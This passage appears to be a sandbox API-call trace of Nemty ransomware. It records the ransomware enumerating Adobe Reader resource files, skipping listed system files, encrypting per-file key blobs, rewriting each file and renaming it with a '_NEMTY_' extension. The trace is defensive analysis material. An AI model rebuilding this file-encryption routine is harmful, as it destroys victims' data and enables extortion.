lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0216.788] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brz40.hsp", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brz40.hsp", lpUsedDefaultChar=0x0) returned 9 [0216.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.788] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brz40.hsp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0216.788] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brz40.hsp", cchWideChar=9, lpMultiByteStr=0x653e260, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brz40.hsp", lpUsedDefaultChar=0x0) returned 9 [0216.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.788] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brz40.hsp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0216.788] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brz40.hsp", cchWideChar=9, lpMultiByteStr=0x653e298, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brz40.hsp", lpUsedDefaultChar=0x0) returned 9 [0216.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352c60 [0216.788] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0216.788] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352d38 [0216.788] Sleep (dwMilliseconds=0x5) [0216.791] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x34dae7b0, dwHighDateTime=0x1d561e8)) [0216.791] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x34dae7b0, dwHighDateTime=0x1d561e8)) [0216.791] GetLastError () returned 0x0 [0216.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.791] GetLastError () returned 0x0 [0216.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.791] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0216.791] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0216.791] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0216.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0216.792] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653df5c | out: pszString="vErak3YJjguPuQIU5xtPdvunWt1W8IZrGlmrPs9PuiNv/MPNGoiuvS03NEMZ/G9+\r\nZa4S44DKNUViPWJKgaYjY9x/Nw2tfA02OPjG845eJqLvn+AP/6RDJTli22D4tuYj\r\nYjkgRR0QJjHNcfomduzKMwOEgk8NCWIEJ0Unb7ATUrJDKIA8o3p+u/8OPlmC1laZ\r\nIH+J7m7QswKmjazg89/4M+zN/63fqsca7xcQV4cuYkwQ1OlHi2xW51HPVNs3kgqd\r\nWX/glEFabh65xnFeRNNSuB6DcYhvXv6n2NFF3Qv1aMvPsc5JS7UyisIaR6Sw2ZdI\r\n0IGQclC3uoaKtMTJd+4FIA==\r\n", pcchString=0x653df5c) returned 1 [0216.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0216.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0216.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0216.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0216.792] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\brz40.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\brz40.hsp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0216.792] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=97782) returned 1 [0216.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x17df0) returned 0x6354c48 [0216.792] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.792] ReadFile (in: hFile=0x320, lpBuffer=0x6354c48, nNumberOfBytesToRead=0x17df0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesRead=0x653e1a4*=0x17df0, lpOverlapped=0x0) returned 1 [0216.800] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.800] WriteFile (in: hFile=0x320, lpBuffer=0x6354c48*, nNumberOfBytesToWrite=0x17df0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesWritten=0x653e19c*=0x17df0, lpOverlapped=0x0) returned 1 [0216.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6354c48 | out: hHeap=0x4f90000) returned 1 [0216.801] SetFilePointer (in: hFile=0x320, lDistanceToMove=97782, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x17df6 [0216.801] WriteFile (in: hFile=0x320, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0216.801] CloseHandle (hObject=0x320) returned 1 [0216.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352e10 [0216.801] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.801] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352ee8 [0216.801] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0216.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352ee8 | out: hHeap=0x4f90000) returned 1 [0216.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.801] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\brz40.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\brz40.hsp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\brz40.hsp._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\brz40.hsp._nemty_kgobjgd_")) returned 1 [0216.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0216.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352e10 | out: hHeap=0x4f90000) returned 1 [0216.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0216.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352d38 | out: hHeap=0x4f90000) returned 1 [0216.802] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="bul.hyp", cAlternateFileName="")) returned 1 [0216.802] lstrcmpiW (lpString1="bul.hyp", lpString2=".") returned 1 [0216.802] lstrcmpiW (lpString1="bul.hyp", lpString2="..") returned 1 [0216.802] lstrcmpiW (lpString1="bul.hyp", lpString2="...") returned 1 [0216.802] lstrcmpiW (lpString1="bul.hyp", lpString2="windows") returned -1 [0216.802] lstrcmpiW (lpString1="bul.hyp", lpString2="$RECYCLE.BIN") returned 1 [0216.802] lstrcmpiW (lpString1="bul.hyp", lpString2="rsa") returned -1 [0216.802] lstrcmpiW (lpString1="bul.hyp", lpString2="NTDETECT.COM") returned -1 [0216.802] lstrcmpiW (lpString1="bul.hyp", lpString2="ntldr") returned -1 [0216.802] lstrcmpiW (lpString1="bul.hyp", lpString2="MSDOS.SYS") returned -1 [0216.802] lstrcmpiW (lpString1="bul.hyp", lpString2="IO.SYS") returned -1 [0216.802] lstrcmpiW (lpString1="bul.hyp", lpString2="boot.ini") returned 1 [0216.802] lstrcmpiW (lpString1="bul.hyp", lpString2="boot.ini") returned 1 [0216.802] lstrcmpiW (lpString1="bul.hyp", lpString2="AUTOEXEC.BAT") returned 1 [0216.802] lstrcmpiW (lpString1="bul.hyp", lpString2="ntuser.dat") returned -1 [0216.802] lstrcmpiW (lpString1="bul.hyp", lpString2="desktop.ini") returned -1 [0216.802] lstrcmpiW (lpString1="bul.hyp", lpString2="CONFIG.SYS") returned -1 [0216.802] lstrcmpiW (lpString1="bul.hyp", lpString2="RECYCLER") returned -1 [0216.802] lstrcmpiW (lpString1="bul.hyp", lpString2="BOOTSECT.BAK") returned 1 [0216.803] lstrcmpiW (lpString1="bul.hyp", lpString2="bootmgr") returned 1 [0216.803] lstrcmpiW (lpString1="bul.hyp", lpString2="programdata") returned -1 [0216.803] lstrcmpiW (lpString1="bul.hyp", lpString2="appdata") returned 1 [0216.803] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bul.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0216.803] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bul.hyp", cchWideChar=7, lpMultiByteStr=0x653e210, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bul.hyp", lpUsedDefaultChar=0x0) returned 7 [0216.803] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bul.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0216.803] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bul.hyp", cchWideChar=7, lpMultiByteStr=0x653e210, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bul.hyp", lpUsedDefaultChar=0x0) returned 7 [0216.803] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bul.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0216.803] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bul.hyp", cchWideChar=7, lpMultiByteStr=0x653e260, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bul.hyp", lpUsedDefaultChar=0x0) returned 7 [0216.803] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bul.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0216.803] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bul.hyp", cchWideChar=7, lpMultiByteStr=0x653e298, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bul.hyp", lpUsedDefaultChar=0x0) returned 7 [0216.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340500 [0216.803] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c60 | out: hHeap=0x4f90000) returned 1 [0216.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0216.803] Sleep (dwMilliseconds=0x5) [0216.806] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x34dd4910, dwHighDateTime=0x1d561e8)) [0216.807] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x34dd4910, dwHighDateTime=0x1d561e8)) [0216.807] GetLastError () returned 0x0 [0216.807] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.807] GetLastError () returned 0x0 [0216.807] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.807] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.807] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0216.807] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0216.807] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0216.807] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0216.807] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653df5c | out: pszString="GYJKjlFAvrj+ZaY5Tu8yr0OURQ1KKHdSdWPBOrkR2LGrJDSW0YF8LsByC8ihWhxu\r\nR55QdWEmwv1sYUX5orc46PQjKo6WXlFdqS8Uv5BrVemicyuQSCdfH2y6YoIg5aDN\r\n8gJuDNbQcYRm/YS08npUB12tlXcd/968MU+ZalDSVgqYN+B2PchTWoPL6yPm7qp9\r\nWjRNlpp5I/UZWDI1mCjsKcEhcWnsu85ZUJElapvtyxdeoXt3y0EitaPg3Z9b9HzH\r\nEZebS55Xb5z4UWF08duHr892jVw01ZFlooGzm5oAeuqJMqrOVTclJxl7fWGwOjaP\r\nYQroyha5J/1Fp6nLLxBucQ==\r\n", pcchString=0x653df5c) returned 1 [0216.807] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0216.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.807] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x63405c8 [0216.807] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0216.807] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0216.807] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\bul.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\bul.hyp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0216.808] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=94208) returned 1 [0216.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x17000) returned 0x6354c48 [0216.808] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.808] ReadFile (in: hFile=0x320, lpBuffer=0x6354c48, nNumberOfBytesToRead=0x17000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesRead=0x653e1a4*=0x17000, lpOverlapped=0x0) returned 1 [0216.815] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.815] WriteFile (in: hFile=0x320, lpBuffer=0x6354c48*, nNumberOfBytesToWrite=0x17000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesWritten=0x653e19c*=0x17000, lpOverlapped=0x0) returned 1 [0216.815] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6354c48 | out: hHeap=0x4f90000) returned 1 [0216.815] SetFilePointer (in: hFile=0x320, lDistanceToMove=94208, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x17000 [0216.815] WriteFile (in: hFile=0x320, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0216.816] CloseHandle (hObject=0x320) returned 1 [0216.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63440b0 [0216.816] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.816] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352c60 [0216.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6344178 [0216.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c60 | out: hHeap=0x4f90000) returned 1 [0216.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.816] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\bul.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\bul.hyp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\bul.hyp._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\bul.hyp._nemty_kgobjgd_")) returned 1 [0216.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344178 | out: hHeap=0x4f90000) returned 1 [0216.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0216.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63405c8 | out: hHeap=0x4f90000) returned 1 [0216.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0216.817] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x72000, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="bul120.lex", cAlternateFileName="")) returned 1 [0216.817] lstrcmpiW (lpString1="bul120.lex", lpString2=".") returned 1 [0216.817] lstrcmpiW (lpString1="bul120.lex", lpString2="..") returned 1 [0216.817] lstrcmpiW (lpString1="bul120.lex", lpString2="...") returned 1 [0216.817] lstrcmpiW (lpString1="bul120.lex", lpString2="windows") returned -1 [0216.817] lstrcmpiW (lpString1="bul120.lex", lpString2="$RECYCLE.BIN") returned 1 [0216.817] lstrcmpiW (lpString1="bul120.lex", lpString2="rsa") returned -1 [0216.817] lstrcmpiW (lpString1="bul120.lex", lpString2="NTDETECT.COM") returned -1 [0216.817] lstrcmpiW (lpString1="bul120.lex", lpString2="ntldr") returned -1 [0216.817] lstrcmpiW (lpString1="bul120.lex", lpString2="MSDOS.SYS") returned -1 [0216.817] lstrcmpiW (lpString1="bul120.lex", lpString2="IO.SYS") returned -1 [0216.817] lstrcmpiW (lpString1="bul120.lex", lpString2="boot.ini") returned 1 [0216.817] lstrcmpiW (lpString1="bul120.lex", lpString2="boot.ini") returned 1 [0216.817] lstrcmpiW (lpString1="bul120.lex", lpString2="AUTOEXEC.BAT") returned 1 [0216.817] lstrcmpiW (lpString1="bul120.lex", lpString2="ntuser.dat") returned -1 [0216.817] lstrcmpiW (lpString1="bul120.lex", lpString2="desktop.ini") returned -1 [0216.817] lstrcmpiW (lpString1="bul120.lex", lpString2="CONFIG.SYS") returned -1 [0216.817] lstrcmpiW (lpString1="bul120.lex", lpString2="RECYCLER") returned -1 [0216.817] lstrcmpiW (lpString1="bul120.lex", lpString2="BOOTSECT.BAK") returned 1 [0216.817] lstrcmpiW (lpString1="bul120.lex", lpString2="bootmgr") returned 1 [0216.817] lstrcmpiW (lpString1="bul120.lex", lpString2="programdata") returned -1 [0216.817] lstrcmpiW (lpString1="bul120.lex", lpString2="appdata") returned 1 [0216.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.817] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bul120.lex", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0216.818] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bul120.lex", cchWideChar=10, lpMultiByteStr=0x653e210, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bul120.lex", lpUsedDefaultChar=0x0) returned 10 [0216.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.818] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bul120.lex", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0216.818] WideCharToMultiByte (in: CodePage=0xfde9, 